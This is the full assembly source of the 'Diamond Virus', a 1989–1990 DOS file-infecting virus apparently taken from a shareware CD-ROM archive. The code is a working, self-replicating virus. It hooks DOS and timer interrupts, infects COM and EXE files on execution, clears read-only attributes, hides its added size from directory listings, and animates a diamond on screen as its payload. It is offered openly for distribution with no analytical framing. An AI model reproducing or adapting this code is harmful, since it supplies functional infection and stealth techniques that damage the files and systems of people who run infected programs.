HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/DIAMOND.ASM

Assembly Source File | 1990-05-05 | 9KB | 534 lines

;     The Diamond Virus
;
;       Version  2.10
;
; also known as:
;    V1024, V651, The EGN Virus
;
; Basic release:   5-Aug-1989
; Last patch:       5-May-1990
;
;   COPYRIGHT:
;
; This program is (c) Copyright 1989,1990 Damage, Inc.
; Permission is granted to distribute this source provided the tittle page is
;   preserved.
; Any fee can be charged for distribution of this source, however, Damage, Inc.
;   distributes it freely.
; You are specially prohibited to use this program for military purposes.
; Damage, Inc. is not liable for any kind of damages resulting from the use of
;   or the inability to use this software.
;
; To assemble this program use Turbo Assembler 1.0

        .radix    16
        .model    tiny
        .code
code_len    =    top_code-main_entry
data_len    =    top_data-top_code
main_entry:
        call    locate_address
gen_count    dw    0
locate_address:
        xchg    ax,bp
        cld
        pop    bx
        inc    word ptr cs:[bx]
        mov    ax,0d5aa
        int    21
        cmp    ax,2a03
        jz    all_done
        mov    ax,sp
        inc    ax
        mov    cl,4
        shr    ax,cl
        inc    ax
        mov    dx,ss
        add    ax,dx
        mov    dx,ds
        dec    dx
        mov    es,dx
        xor    di,di
        mov    cx,(top_data-main_entry-1)/10+1
        mov    dx,[di+2]
        sub    dx,cx
        cmp    dx,ax
        jc    all_done
        cli
        sub    es:[di+3],cx
        mov    [di+2],dx
        mov    es,dx
        lea    si,[bx+main_entry-gen_count]
        mov    cx,top_code-main_entry
        rep
        db    2e
        movsb
        push    ds
        mov    ds,cx
        mov    si,20
        lea    di,[di+old_vector-top_code]
        org    $-1
        mov    ax,offset dos_handler
        xchg    ax,[si+64]
        stosw
        mov    ax,es
        xchg    ax,[si+66]
        stosw
        mov    ax,offset time_handler
        xchg    ax,[si]
        stosw
        xchg    ax,dx
        xchg    ax,[si+2]
        stosw
        mov    ax,24
        stosw
        pop    ds
        push    ds
        pop    es
        sti
all_done:
        lea    si,[bx+exe_header-gen_count]
        db    2e
        lodsw
        cmp    ax,'ZM'
        jz    exit_exe
        mov    di,100
        push    di
        stosw
        movsb
        xchg    ax,bp
        ret
exit_exe:
        mov    dx,ds
        add    dx,10
        add    cs:[si+return_address+2-exe_header-2],dx
        org    $-1
        add    dx,cs:[si+stack_offset+2-exe_header-2]
        org    $-1
        mov    ss,dx
        mov    sp,cs:[si+stack_offset-exe_header-2]
        org    $-1
        xchg    ax,bp
        jmp    dword ptr cs:[si+return_address-exe_header-2]
        org    $-1
infect:
        mov    dx,offset exe_header
        mov    cx,top_header-exe_header
        mov    ah,3f
        int    21
        jc    do_exit
        sub    cx,ax
        jnz    go_error
        mov    di,offset exe_header
        les    ax,[di+ss_offset-exe_header]
        org    $-1
        mov    [di+stack_offset-exe_header],es
        org    $-1
        mov    [di+stack_offset+2-exe_header],ax
        org    $-1
        les    ax,[di+ip_offset-exe_header]
        org    $-1
        mov    [di+return_address-exe_header],ax
        org    $-1
        mov    [di+return_address+2-exe_header],es
        org    $-1
        mov    dx,cx
        mov    ax,4202
        int    21
        jc    do_exit
        mov    [di+file_size-exe_header],ax
        org    $-1
        mov    [di+file_size+2-exe_header],dx
        org    $-1
        mov    cx,code_len
        cmp    ax,cx
        sbb    dx,0
        jc    do_exit
        xor    dx,dx
        mov    si,'ZM'
        cmp    si,[di]
        jz    do_put_image
        cmp    [di],'MZ'
        jz    do_put_image
        cmp    ax,0fe00-code_len
        jc    put_image
go_error:
        stc
do_exit:
        ret
do_put_image:
        cmp    dx,[di+max_size-exe_header]
        org    $-1
        jz    go_error
        mov    [di],si
put_image:
        mov    ah,40
        int    21
        jc    do_exit
        sub    cx,ax
        jnz    go_error
        mov    dx,cx
        mov    ax,4200
        int    21
        jc    do_exit
        mov    ax,[di+file_size-exe_header]
        org    $-1
        cmp    [di],'ZM'
        jnz    com_file
        mov    dx,[di+file_size-exe_header+2]
        org    $-1
        mov    cx,4
        push    di
        mov    si,[di+header_size-exe_header]
        org    $-1
        xor    di,di
shift_size:
        shl    si,1
        rcl    di,1
        loop    shift_size
        sub    ax,si
        sbb    dx,di
        pop    di
        mov    cl,0c
        shl    dx,cl
        mov    [di+ip_offset-exe_header],ax
        org    $-1
        mov    [di+cs_offset-exe_header],dx
        org    $-1
        add    dx,(code_len+data_len+100-1)/10+1
        org    $-1
        mov    [di+sp_offset-exe_header],ax
        org    $-1
        mov    [di+ss_offset-exe_header],dx
        org    $-1
        add    word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
        org    $-2
        mov    ax,[di+min_size-exe_header]
        org    $-1
        cmp    ax,[di+max_size-exe_header]
        org    $-1
        jc    adjust_size
        mov    [di+max_size-exe_header],ax
        org    $-1
adjust_size:
        mov    ax,[di+last_page-exe_header]
        org    $-1
        add    ax,code_len
        push    ax
        and    ah,1
        mov    [di+last_page-exe_header],ax
        org    $-1
        pop    ax
        mov    cl,9
        shr    ax,cl
        add    [di+page_count-exe_header],ax
        org    $-1
        jmp    short put_header
com_file:
        sub    ax,3
        mov    byte ptr [di],0e9
        mov    [di+1],ax
put_header:
        mov    dx,offset exe_header
        mov    cx,top_header-exe_header
        mov    ah,40
        int    21
        jc    error
        cmp    ax,cx
        jz    reset
error:
        stc
reset:
        ret
find_file:
        pushf
        push    cs
        call    calldos
        test    al,al
        jnz    cant_find
        push    ax
        push    bx
        push    es
        mov    ah,51
        int    21
        mov    es,bx
        cmp    bx,es:[16]
        jnz    not_infected
        mov    bx,dx
        mov    al,[bx]
        push    ax
        mov    ah,2f
        int    21
        pop    ax
        inc    al
        jnz    fcb_standard
        add    bx,7
fcb_standard:
        mov    ax,es:[bx+17]
        and    ax,1f
        xor    al,1e
        jnz    not_infected
        and    byte ptr es:[bx+17],0e0
        sub    es:[bx+1dh],code_len
        sbb    es:[bx+1f],ax
not_infected:
        pop    es
        pop    bx
        pop    ax
cant_find:
        iret
dos_handler:
        cmp    ah,4bh
        jz    exec
        cmp    ah,11
        jz    find_file
        cmp    ah,12
        jz    find_file
        cmp    ax,0d5aa
        jnz    calldos
        not    ax
fail:
        mov    al,3
        iret
exec:
        cmp    al,2
        jnc    calldos
        push    ds
        push    es
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        mov    ax,3524
        int    21
        push    es
        push    bx
        mov    ah,25
        push    ax
        push    ds
        push    dx
        push    cs
        pop    ds
        mov    dx,offset fail
        int    21
        pop    dx
        pop    ds
        mov    ax,4300
        int    21
        jc    exit
        test    cl,1
        jz    open
        dec    cx
        mov    ax,4301
        int    21
open:
        mov    ax,3d02
        int    21
        jc    exit
        xchg    ax,bx
        mov    ax,5700
        int    21
        jc    close
        mov    al,cl
        or    cl,1f
        dec    cx
        xor    al,cl
        jz    close
        push    cs
        pop    ds
        push    cx
        push    dx
        call    infect
        pop    dx
        pop    cx
        jc    close
        mov    ax,5701
        int    21
close:
        mov    ah,3e
        int    21
exit:
        pop    ax
        pop    dx
        pop    ds
        int    21
        pop    di
        pop    si
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        pop    es
        pop    ds
calldos:
        jmp    cs:[old_vector]
        .radix    10
adrtbl        dw    1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
        dw    2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
        dw    2480,2482,2640
diftbl        dw    -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
        dw    -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
        dw    324
valtbl        dw    3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
        dw    3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
        dw    2820,2820,2308
xlatbl        dw    -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
        dw    -316,324,-156,164
        .radix    16
time_handler:
        push    ds
        push    es
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    cs
        pop    ds
        cld
        mov    dx,3da
        mov    cx,19
        mov    si,offset count
        mov    ax,[si]
        test    ah,ah
        jnz    make_move
        mov    al,ah
        mov    es,ax
        cmp    al,es:[46dh]
        jnz    exit_timer
        mov    ah,0f
        int    10
        cmp    al,2
        jz    init_diamond
        cmp    al,3
        jnz    exit_timer
init_diamond:
        inc    byte ptr [si+1]
        sub    bl,bl
        add    bh,0b8
        mov    [si+2],bx
        mov    es,bx
wait_snow:
        in    al,dx
        test    al,8
        jz    wait_snow
        mov    si,offset valtbl
build_diamond:
        mov    di,[si+adrtbl-valtbl]
        movsw
        loop    build_diamond
exit_timer:
        pop    di
        pop    si
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        pop    es
        pop    ds
        jmp    cs:[old_timer]
count_down:
        dec    byte ptr [si]
        jmp    exit_timer
make_move:
        test    al,al
        jnz    count_down
        inc    byte ptr [si]
        mov    si,offset adrtbl
make_step:
        push    cx
        push    cs
        pop    es
        lodsw
        mov    bx,ax
        sub    ax,140
        cmp    ax,0d20
        jc    no_xlat
        test    ax,ax
        mov    ax,[si+diftbl-adrtbl-2]
        jns    test_xlat
        test    ax,ax
        js    do_xlat
        jmp    short no_xlat
test_xlat:
        test    ax,ax
        js    no_xlat
do_xlat:
        mov    di,offset xlatbl
        mov    cx,10
        repnz    scasw
        dec    di
        dec    di
        xor    di,2
        mov    ax,[di]
        mov    [si+diftbl-adrtbl-2],ax
no_xlat:
        mov    ax,[si-2]
        add    ax,[si+diftbl-adrtbl-2]
        mov    [si-2],ax
        mov    cx,19
        mov    di,offset adrtbl
lookup:
        jcxz    looked_up
        repnz    scasw
        jnz    looked_up
        cmp    si,di
        jz    lookup
        mov    [si-2],bx
        mov    ax,[si+diftbl-adrtbl-2]
        xchg    ax,[di+diftbl-adrtbl-2]
        mov    [si+diftbl-adrtbl-2],ax
        jmp    lookup
looked_up:
        mov    es,[homeadr]
        mov    di,bx
        xor    bx,bx
        call    out_char
        mov    di,[si-2]
        mov    bx,[si+valtbl-adrtbl-2]
        call    out_char
        pop    cx
        loop    make_step
        jmp    exit_timer
out_char:
        in    al,dx
        test    al,1
        jnz    out_char
check_snow:
        in    al,dx
        test    al,1
        jz    check_snow
        xchg    ax,bx
        stosw
        ret
stack_offset    dd    ?
return_address    dd    ?
        db    '7106286813'
exe_header:    int    20
last_page:    nop
top_code:
        db    ?
page_count    dw    ?
        dw    ?
header_size    dw    ?
min_size    dw    ?
max_size    dw    ?
ss_offset    dw    ?
sp_offset    dw    ?
        dw    ?
ip_offset    dw    ?
cs_offset    dw    ?
top_header:
file_size    dd    ?
old_vector    dd    ?
old_timer    dd    ?
count        db    ?
flag        db    ?
homeadr     dw    ?
top_data:
        end